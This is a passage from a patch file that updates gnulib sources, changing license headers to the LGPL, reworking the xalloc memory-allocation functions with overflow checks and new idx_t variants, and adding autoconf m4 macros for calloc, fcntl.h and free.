+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-win32.h. */
+--- a/gnulib/lib/xalloc-oversized.h
++++ b/gnulib/lib/xalloc-oversized.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1990-2000, 2003-2004, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef XALLOC_OVERSIZED_H_
+@@ -21,34 +21,39 @@
+ #include <stddef.h>
+ #include <stdint.h>
+
+-/* True if N * S would overflow in a size_t calculation,
+- or would generate a value larger than PTRDIFF_MAX.
++/* True if N * S does not fit into both ptrdiff_t and size_t.
++ N and S should be nonnegative and free of side effects.
+ This expands to a constant expression if N and S are both constants.
+- By gnulib convention, SIZE_MAX represents overflow in size
++ By gnulib convention, SIZE_MAX represents overflow in size_t
+ calculations, so the conservative size_t-based dividend to use here
+ is SIZE_MAX - 1. */
+ #define __xalloc_oversized(n, s) \
+- ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) < (n))
+-
+-#if PTRDIFF_MAX < SIZE_MAX
+-typedef ptrdiff_t __xalloc_count_type;
+-#else
+-typedef size_t __xalloc_count_type;
+-#endif
+-
+-/* Return 1 if an array of N objects, each of size S, cannot exist
+- reliably due to size or ptrdiff_t arithmetic overflow. S must be
+- positive and N must be nonnegative. This is a macro, not a
+- function, so that it works correctly even when SIZE_MAX < N. */
+-
+-#if 7 <= __GNUC__ && !defined __clang__
++ ((s) != 0 \
++ && ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) \
++ < (n)))
++
++/* Return 1 if and only if an array of N objects, each of size S,
++ cannot exist reliably because its total size in bytes would exceed
++ MIN (PTRDIFF_MAX, SIZE_MAX - 1).
++
++ N and S should be nonnegative and free of side effects.
++
++ Warning: (xalloc_oversized (N, S) ? NULL : malloc (N * S)) can
++ misbehave if N and S are both narrower than ptrdiff_t and size_t,
++ and can be rewritten as (xalloc_oversized (N, S) ? NULL
++ : malloc (N * (size_t) S)).
++
++ This is a macro, not a function, so that it works even if an
++ argument exceeds MAX (PTRDIFF_MAX, SIZE_MAX). */
++#if 7 <= __GNUC__ && !defined __clang__ && PTRDIFF_MAX < SIZE_MAX
+ # define xalloc_oversized(n, s) \
+- __builtin_mul_overflow_p (n, s, (__xalloc_count_type) 1)
+-#elif 5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__
++ __builtin_mul_overflow_p (n, s, (ptrdiff_t) 1)
++#elif (5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__ \
++ && PTRDIFF_MAX < SIZE_MAX)
+ # define xalloc_oversized(n, s) \
+ (__builtin_constant_p (n) && __builtin_constant_p (s) \
+ ? __xalloc_oversized (n, s) \
+- : ({ __xalloc_count_type __xalloc_count; \
++ : ({ ptrdiff_t __xalloc_count; \
+ __builtin_mul_overflow (n, s, &__xalloc_count); }))
+
+ /* Other compilers use integer division; this may be slower but is
+--- a/gnulib/lib/xalloc.h
++++ b/gnulib/lib/xalloc.h
+@@ -21,7 +21,10 @@
+ #include <stddef.h>
+ #include <stdint.h>
+
+-#include "xalloc-oversized.h"
++#if GNULIB_XALLOC
++# include "idx.h"
++# include "intprops.h"
++#endif
+
+ #ifndef _GL_INLINE_HEADER_BEGIN
+ #error "Please include config.h first."
+@@ -50,17 +53,26 @@ extern "C" {
+
+ #if GNULIB_XALLOC
+
+-void *xmalloc (size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
+-void *xzalloc (size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xmalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *ximalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xzalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
++void *xizalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1));
+ void *xcalloc (size_t n, size_t s)
+- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
+-void *xrealloc (void *p, size_t s)
+- _GL_ATTRIBUTE_ALLOC_SIZE ((2));
+-void *x2realloc (void *p, size_t *pn);
+-void *xmemdup (void const *p, size_t s)
+- _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
++void *xicalloc (idx_t n, idx_t s)
++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2));
++void *xrealloc (void *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *xirealloc (void *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *xreallocarray (void *p, size_t n, size_t s)
++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3));
++void *xireallocarray (void *p, idx_t n, idx_t s)
++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3));
++void *x2realloc (void *p, size_t *ps); /* superseded by xpalloc */
++void *x2nrealloc (void *p, size_t *pn, size_t s); /* superseded by xpalloc */
++void *xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s);
++void *xmemdup (void const *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++void *ximemdup (void const *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2));
++char *ximemdup0 (void const *p, idx_t s) _GL_ATTRIBUTE_MALLOC;
+ char *xstrdup (char const *str)
+ _GL_ATTRIBUTE_MALLOC;
+
+@@ -98,11 +110,10 @@ XALLOC_INLINE void *xnmalloc (size_t n,
+ XALLOC_INLINE void *
+ xnmalloc (size_t n, size_t s)
+ {
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- return xmalloc (n * s);
++ return xreallocarray (NULL, n, s);
+ }
+
++/* FIXME: Deprecate this in favor of xreallocarray? */
+ /* Change the size of an allocated block of memory P to an array of N
+ objects each of S bytes, with error checking. S must be nonzero. */
+
+@@ -111,100 +122,7 @@ XALLOC_INLINE void *xnrealloc (void *p,
+ XALLOC_INLINE void *
+ xnrealloc (void *p, size_t n, size_t s)
+ {
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- return xrealloc (p, n * s);
+-}
+-
+-/* If P is null, allocate a block of at least *PN such objects;
+- otherwise, reallocate P so that it contains more than *PN objects
+- each of S bytes. S must be nonzero. Set *PN to the new number of
+- objects, and return the pointer to the new block. *PN is never set
+- to zero, and the returned pointer is never null.
+-
+- Repeated reallocations are guaranteed to make progress, either by
+- allocating an initial block with a nonzero size, or by allocating a
+- larger block.
+-
+- In the following implementation, nonzero sizes are increased by a
+- factor of approximately 1.5 so that repeated reallocations have
+- O(N) overall cost rather than O(N**2) cost, but the
+- specification for this function does not guarantee that rate.
+-
+- Here is an example of use:
+-
+- int *p = NULL;
+- size_t used = 0;
+- size_t allocated = 0;
+-
+- void
+- append_int (int value)
+- {
+- if (used == allocated)
+- p = x2nrealloc (p, &allocated, sizeof *p);
+- p[used++] = value;
+- }
+-
+- This causes x2nrealloc to allocate a block of some nonzero size the
+- first time it is called.
+-
+- To have finer-grained control over the initial size, set *PN to a
+- nonzero value before calling this function with P == NULL. For
+- example:
+-
+- int *p = NULL;
+- size_t used = 0;
+- size_t allocated = 0;
+- size_t allocated1 = 1000;
+-
+- void
+- append_int (int value)
+- {
+- if (used == allocated)
+- {
+- p = x2nrealloc (p, &allocated1, sizeof *p);
+- allocated = allocated1;
+- }
+- p[used++] = value;
+- }
+-
+- */
+-
+-XALLOC_INLINE void *
+-x2nrealloc (void *p, size_t *pn, size_t s)
+-{
+- size_t n = *pn;
+-
+- if (! p)
+- {
+- if (! n)
+- {
+- /* The approximate size to use for initial small allocation
+- requests, when the invoking code specifies an old size of
+- zero. This is the largest "small" request for the GNU C
+- library malloc. */
+- enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
+-
+- n = DEFAULT_MXFAST / s;
+- n += !n;
+- }
+- if (xalloc_oversized (n, s))
+- xalloc_die ();
+- }
+- else
+- {
+- /* Set N = floor (1.5 * N) + 1 so that progress is made even if N == 0.
+- Check for overflow, so that N * S stays in both ptrdiff_t and
+- size_t range. The check may be slightly conservative, but an
+- exact check isn't worth the trouble. */
+- if ((PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX) / 3 * 2 / s
+- <= n)
+- xalloc_die ();
+- n += n / 2 + 1;
+- }
+-
+- *pn = n;
+- return xrealloc (p, n * s);
++ return xreallocarray (p, n, s);
+ }
+
+ /* Return a pointer to a new buffer of N bytes. This is like xmalloc,
+@@ -239,9 +157,16 @@ xrealloc (T *p, size_t s)
+ }
+
+ template <typename T> inline T *
++xreallocarray (T *p, size_t n, size_t s)
++{
++ return (T *) xreallocarray ((void *) p, n, s);
++}
++
++/* FIXME: Deprecate this in favor of xreallocarray? */
++template <typename T> inline T *
+ xnrealloc (T *p, size_t n, size_t s)
+ {
+- return (T *) xnrealloc ((void *) p, n, s);
++ return xreallocarray (p, n, s);
+ }
+
+ template <typename T> inline T *
+--- a/gnulib/lib/xmalloc.c
++++ b/gnulib/lib/xmalloc.c
+@@ -21,80 +21,250 @@
+
+ #include "xalloc.h"
+
++#include "ialloc.h"
++#include "intprops.h"
++#include "minmax.h"
++
+ #include <stdlib.h>
+ #include <string.h>
+
+-/* 1 if calloc, malloc and realloc are known to be compatible with GNU.
+- This matters if we are not also using the calloc-gnu, malloc-gnu
+- and realloc-gnu modules, which define HAVE_CALLOC_GNU,
+- HAVE_MALLOC_GNU and HAVE_REALLOC_GNU and support the GNU API even
+- on non-GNU platforms. */
+-#if defined HAVE_CALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_CALLOC = 1 };
+-#else
+-enum { HAVE_GNU_CALLOC = 0 };
+-#endif
+-#if defined HAVE_MALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_MALLOC = 1 };
+-#else
+-enum { HAVE_GNU_MALLOC = 0 };
+-#endif
+-#if defined HAVE_REALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__)
+-enum { HAVE_GNU_REALLOC = 1 };
+-#else
+-enum { HAVE_GNU_REALLOC = 0 };
+-#endif
++static void * _GL_ATTRIBUTE_PURE
++nonnull (void *p)
++{
++ if (!p)
++ xalloc_die ();
++ return p;
++}
+
+-/* Allocate N bytes of memory dynamically, with error checking. */
++/* Allocate S bytes of memory dynamically, with error checking. */
+
+ void *
+-xmalloc (size_t n)
++xmalloc (size_t s)
+ {
+- void *p = malloc (n);
+- if (!p && (HAVE_GNU_MALLOC || n))
+- xalloc_die ();
+- return p;
++ return nonnull (malloc (s));
++}
++
++void *
++ximalloc (idx_t s)
++{
++ return nonnull (imalloc (s));
+ }
+
+-/* Change the size of an allocated block of memory P to N bytes,
++/* Change the size of an allocated block of memory P to S bytes,
+ with error checking. */
+
+ void *
+-xrealloc (void *p, size_t n)
++xrealloc (void *p, size_t s)
+ {
+- if (!HAVE_GNU_REALLOC && !n && p)
+- {
+- /* The GNU and C99 realloc behaviors disagree here. Act like GNU. */
+- free (p);
+- return NULL;
+- }
++ void *r = realloc (p, s);
++ if (!r && (!p || s))
++ xalloc_die ();
++ return r;
++}
++
++void *
++xirealloc (void *p, idx_t s)
++{
++ return nonnull (irealloc (p, s));
++}
++
++/* Change the size of an allocated block of memory P to an array of N
++ objects each of S bytes, with error checking. */
+
+- void *r = realloc (p, n);
+- if (!r && (n || (HAVE_GNU_REALLOC && !p)))
++void *
++xreallocarray (void *p, size_t n, size_t s)
++{
++ void *r = reallocarray (p, n, s);
++ if (!r && (!p || (n && s)))
+ xalloc_die ();
+ return r;
+ }
+
+-/* If P is null, allocate a block of at least *PN bytes; otherwise,
+- reallocate P so that it contains more than *PN bytes. *PN must be
+- nonzero unless P is null. Set *PN to the new block's size, and
+- return the pointer to the new block. *PN is never set to zero, and
++void *
++xireallocarray (void *p, idx_t n, idx_t s)
++{
++ return nonnull (ireallocarray (p, n, s));
++}
++
++/* If P is null, allocate a block of at least *PS bytes; otherwise,
++ reallocate P so that it contains more than *PS bytes. *PS must be
++ nonzero unless P is null. Set *PS to the new block's size, and
++ return the pointer to the new block. *PS is never set to zero, and
+ the returned pointer is never null. */
+
+ void *
+-x2realloc (void *p, size_t *pn)
++x2realloc (void *p, size_t *ps)
++{
++ return x2nrealloc (p, ps, 1);
++}
++
++/* If P is null, allocate a block of at least *PN such objects;
++ otherwise, reallocate P so that it contains more than *PN objects
++ each of S bytes. S must be nonzero. Set *PN to the new number of
++ objects, and return the pointer to the new block. *PN is never set
++ to zero, and the returned pointer is never null.
++
++ Repeated reallocations are guaranteed to make progress, either by
++ allocating an initial block with a nonzero size, or by allocating a
++ larger block.
++
++ In the following implementation, nonzero sizes are increased by a
++ factor of approximately 1.5 so that repeated reallocations have
++ O(N) overall cost rather than O(N**2) cost, but the
++ specification for this function does not guarantee that rate.
++
++ Here is an example of use:
++
++ int *p = NULL;
++ size_t used = 0;
++ size_t allocated = 0;
++
++ void
++ append_int (int value)
++ {
++ if (used == allocated)
++ p = x2nrealloc (p, &allocated, sizeof *p);
++ p[used++] = value;
++ }
++
++ This causes x2nrealloc to allocate a block of some nonzero size the
++ first time it is called.
++
++ To have finer-grained control over the initial size, set *PN to a
++ nonzero value before calling this function with P == NULL. For
++ example:
++
++ int *p = NULL;
++ size_t used = 0;
++ size_t allocated = 0;
++ size_t allocated1 = 1000;
++
++ void
++ append_int (int value)
++ {
++ if (used == allocated)
++ {
++ p = x2nrealloc (p, &allocated1, sizeof *p);
++ allocated = allocated1;
++ }
++ p[used++] = value;
++ }
++
++ */
++
++void *
++x2nrealloc (void *p, size_t *pn, size_t s)
+ {
+- return x2nrealloc (p, pn, 1);
++ size_t n = *pn;
++
++ if (! p)
++ {
++ if (! n)
++ {
++ /* The approximate size to use for initial small allocation
++ requests, when the invoking code specifies an old size of
++ zero. This is the largest "small" request for the GNU C
++ library malloc. */
++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
++
++ n = DEFAULT_MXFAST / s;
++ n += !n;
++ }
++ }
++ else
++ {
++ /* Set N = floor (1.5 * N) + 1 to make progress even if N == 0. */
++ if (INT_ADD_WRAPV (n, (n >> 1) + 1, &n))
++ xalloc_die ();
++ }
++
++ p = xreallocarray (p, n, s);
++ *pn = n;
++ return p;
+ }
+
+-/* Allocate N bytes of zeroed memory dynamically, with error checking.
++/* Grow PA, which points to an array of *PN items, and return the
++ location of the reallocated array, updating *PN to reflect its
++ new size. The new array will contain at least N_INCR_MIN more
++ items, but will not contain more than N_MAX items total.
++ S is the size of each item, in bytes.
++
++ S and N_INCR_MIN must be positive. *PN must be
++ nonnegative. If N_MAX is -1, it is treated as if it were
++ infinity.
++
++ If PA is null, then allocate a new array instead of reallocating
++ the old one.
++
++ Thus, to grow an array A without saving its old contents, do
++ { free (A); A = xpalloc (NULL, &AITEMS, ...); }. */
++
++void *
++xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s)
++{
++ idx_t n0 = *pn;
++
++ /* The approximate size to use for initial small allocation
++ requests. This is the largest "small" request for the GNU C
++ library malloc. */
++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
++
++ /* If the array is tiny, grow it to about (but no greater than)
++ DEFAULT_MXFAST bytes. Otherwise, grow it by about 50%.
++ Adjust the growth according to three constraints: N_INCR_MIN,
++ N_MAX, and what the C language can represent safely. */
++
++ idx_t n;
++ if (INT_ADD_WRAPV (n0, n0 >> 1, &n))
++ n = IDX_MAX;
++ if (0 <= n_max && n_max < n)
++ n = n_max;
++
++ /* NBYTES is of a type suitable for holding the count of bytes in an object.
++ This is typically idx_t, but it should be size_t on (theoretical?)
++ platforms where SIZE_MAX < IDX_MAX so xpalloc does not pass
++ values greater than SIZE_MAX to xrealloc. */
++#if IDX_MAX <= SIZE_MAX
++ idx_t nbytes;
++#else
++ size_t nbytes;
++#endif
++ idx_t adjusted_nbytes
++ = (INT_MULTIPLY_WRAPV (n, s, &nbytes)
++ ? MIN (IDX_MAX, SIZE_MAX)
++ : nbytes < DEFAULT_MXFAST ? DEFAULT_MXFAST : 0);
++ if (adjusted_nbytes)
++ {
++ n = adjusted_nbytes / s;
++ nbytes = adjusted_nbytes - adjusted_nbytes % s;
++ }
++
++ if (! pa)
++ *pn = 0;
++ if (n - n0 < n_incr_min
++ && (INT_ADD_WRAPV (n0, n_incr_min, &n)
++ || (0 <= n_max && n_max < n)
++ || INT_MULTIPLY_WRAPV (n, s, &nbytes)))
++ xalloc_die ();
++ pa = xrealloc (pa, nbytes);
++ *pn = n;
++ return pa;
++}
++
++/* Allocate S bytes of zeroed memory dynamically, with error checking.
+ There's no need for xnzalloc (N, S), since it would be equivalent
+ to xcalloc (N, S). */
+
+ void *
+-xzalloc (size_t n)
++xzalloc (size_t s)
++{
++ return xcalloc (s, 1);
++}
++
++void *
++xizalloc (idx_t s)
+ {
+- return xcalloc (n, 1);
++ return xicalloc (s, 1);
+ }
+
+ /* Allocate zeroed memory for N elements of S bytes, with error
+@@ -103,15 +273,13 @@ xzalloc (size_t n)
+ void *
+ xcalloc (size_t n, size_t s)
+ {
+- void *p;
+- /* Test for overflow, since objects with size greater than
+- PTRDIFF_MAX cause pointer subtraction to go awry. Omit size-zero
+- tests if HAVE_GNU_CALLOC, since GNU calloc never returns NULL if
+- successful. */
+- if (xalloc_oversized (n, s)
+- || (! (p = calloc (n, s)) && (HAVE_GNU_CALLOC || n != 0)))
+- xalloc_die ();
+- return p;
++ return nonnull (calloc (n, s));
++}
++
++void *
++xicalloc (idx_t n, idx_t s)
++{
++ return nonnull (icalloc (n, s));
+ }
+
+ /* Clone an object P of size S, with error checking. There's no need
+@@ -124,6 +292,23 @@ xmemdup (void const *p, size_t s)
+ return memcpy (xmalloc (s), p, s);
+ }
+
++void *
++ximemdup (void const *p, idx_t s)
++{
++ return memcpy (ximalloc (s), p, s);
++}
++
++/* Clone an object P of size S, with error checking. Append
++ a terminating NUL byte. */
++
++char *
++ximemdup0 (void const *p, idx_t s)
++{
++ char *result = ximalloc (s + 1);
++ result[s] = 0;
++ return memcpy (result, p, s);
++}
++
+ /* Clone STRING. */
+
+ char *
+--- a/gnulib/lib/xsize.c
++++ b/gnulib/lib/xsize.c
+@@ -1,3 +1,21 @@
++/* Checked size_t computations.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define XSIZE_INLINE _GL_EXTERN_INLINE
+ #include "xsize.h"
+--- a/gnulib/lib/xsize.h
++++ b/gnulib/lib/xsize.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2003, 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _XSIZE_H
+ #define _XSIZE_H
+--- /dev/null
++++ b/gnulib/m4/calloc.m4
+@@ -0,0 +1,82 @@
++# calloc.m4 serial 27
++
++# Copyright (C) 2004-2021 Free Software Foundation, Inc.
++# This file is free software; the Free Software Foundation
++# gives unlimited permission to copy and/or distribute it,
++# with or without modifications, as long as this notice is preserved.
++
++# Written by Jim Meyering.
++
++# Determine whether calloc (N, S) returns non-NULL when N*S is zero,
++# and returns NULL when N*S overflows.
++# If so, define HAVE_CALLOC. Otherwise, define calloc to rpl_calloc
++# and arrange to use a calloc wrapper function that does work in that case.
++
++# _AC_FUNC_CALLOC_IF([IF-WORKS], [IF-NOT])
++# -------------------------------------
++# If calloc is compatible with GNU calloc, run IF-WORKS, otherwise, IF-NOT.
++AC_DEFUN([_AC_FUNC_CALLOC_IF],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
++ AC_CACHE_CHECK([whether calloc (0, n) and calloc (n, 0) return nonnull],
++ [ac_cv_func_calloc_0_nonnull],
++ [if test $cross_compiling != yes; then
++ ac_cv_func_calloc_0_nonnull=yes
++ AC_RUN_IFELSE(
++ [AC_LANG_PROGRAM(
++ [AC_INCLUDES_DEFAULT],
++ [[int result = 0;
++ char * volatile p = calloc (0, 0);
++ if (!p)
++ result |= 1;
++ free (p);
++ return result;
++ ]])],
++ [],
++ [ac_cv_func_calloc_0_nonnull=no])
++ else
++ case "$host_os" in
++ # Guess yes on glibc systems.
++ *-gnu* | gnu*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # Guess yes on musl systems.
++ *-musl*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # Guess yes on native Windows.
++ mingw*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # If we don't know, obey --enable-cross-guesses.
++ *) ac_cv_func_calloc_0_nonnull="$gl_cross_guess_normal" ;;
++ esac
++ fi
++ ])
++ AS_CASE([$ac_cv_func_calloc_0_nonnull], [*yes], [$1], [$2])
++])
++
++
++# gl_FUNC_CALLOC_GNU
++# ------------------
++# Replace calloc if it is not compatible with GNU libc.
++AC_DEFUN([gl_FUNC_CALLOC_GNU],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_CALLOC_POSIX])
++ if test $REPLACE_CALLOC = 0; then
++ _AC_FUNC_CALLOC_IF([], [REPLACE_CALLOC=1])
++ fi
++])# gl_FUNC_CALLOC_GNU
++
++# gl_FUNC_CALLOC_POSIX
++# --------------------
++# Test whether 'calloc' is POSIX compliant (sets errno to ENOMEM when it
++# fails, and doesn't mess up with ptrdiff_t or size_t overflow),
++# and replace calloc if it is not.
++AC_DEFUN([gl_FUNC_CALLOC_POSIX],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ REPLACE_CALLOC=1
++ fi
++ dnl Although in theory we should also test for size_t overflow,
++ dnl in practice testing for ptrdiff_t overflow suffices
++ dnl since PTRDIFF_MAX <= SIZE_MAX on all known Gnulib porting targets.
++ dnl A separate size_t test would slow down 'configure'.
++])
+--- a/gnulib/m4/fcntl_h.m4
++++ b/gnulib/m4/fcntl_h.m4
+@@ -1,4 +1,4 @@
+-# serial 17
++# serial 20
+ # Configure fcntl.h.
+ dnl Copyright (C) 2006-2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+
+ dnl Written by Paul Eggert.
+
+-AC_DEFUN([gl_FCNTL_H],
++AC_DEFUN_ONCE([gl_FCNTL_H],
+ [
+ AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
+ AC_REQUIRE([gl_FCNTL_O_FLAGS])
+@@ -26,25 +26,40 @@ AC_DEFUN([gl_FCNTL_H],
+ ]], [fcntl openat])
+ ])
+
++# gl_FCNTL_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_FCNTL_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_FCNTL_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_FCNTL_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CREAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCNTL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPENAT])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CREAT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_OPEN], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_FCNTL_H_DEFAULTS],
+ [
+- GNULIB_CREAT=0; AC_SUBST([GNULIB_CREAT])
+- GNULIB_FCNTL=0; AC_SUBST([GNULIB_FCNTL])
+- GNULIB_NONBLOCKING=0; AC_SUBST([GNULIB_NONBLOCKING])
+- GNULIB_OPEN=0; AC_SUBST([GNULIB_OPEN])
+- GNULIB_OPENAT=0; AC_SUBST([GNULIB_OPENAT])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_CREAT=1; AC_SUBST([GNULIB_MDA_CREAT])
+- GNULIB_MDA_OPEN=1; AC_SUBST([GNULIB_MDA_OPEN])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FCNTL=1; AC_SUBST([HAVE_FCNTL])
+ HAVE_OPENAT=1; AC_SUBST([HAVE_OPENAT])
+--- /dev/null
++++ b/gnulib/m4/free.m4
+@@ -0,0 +1,52 @@
++# free.m4 serial 6
++# Copyright (C) 2003-2005, 2009-2021 Free Software Foundation, Inc.
++# This file is free software; the Free Software Foundation
++# gives unlimited permission to copy and/or distribute it,
++# with or without modifications, as long as this notice is preserved.
++
++# Written by Paul Eggert and Bruno Haible.
++
++AC_DEFUN([gl_FUNC_FREE],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++
++ dnl In the next release of POSIX, free must preserve errno.
++ dnl https://www.austingroupbugs.net/view.php?id=385
++ dnl https://sourceware.org/bugzilla/show_bug.cgi?id=17924
++ dnl So far, we know of three platforms that do this:
++ dnl * glibc >= 2.33, thanks to the fix for this bug:
++ dnl <https://sourceware.org/bugzilla/show_bug.cgi?id=17924>
++ dnl * OpenBSD >= 4.5, thanks to this commit:
++ dnl <https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c.diff?r1=1.100&r2=1.101&f=h>
++ dnl * Solaris, because its malloc() implementation is based on brk(),
++ dnl not mmap(); hence its free() implementation makes no system calls.
++ dnl For other platforms, you can only be sure if they state it in their
++ dnl documentation, or by code inspection of the free() implementation in libc.
++ AC_CACHE_CHECK([whether free is known to preserve errno],
++ [gl_cv_func_free_preserves_errno],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdlib.h>
++ ]],
++ [[#if 2 < __GLIBC__ + (33 <= __GLIBC_MINOR__)
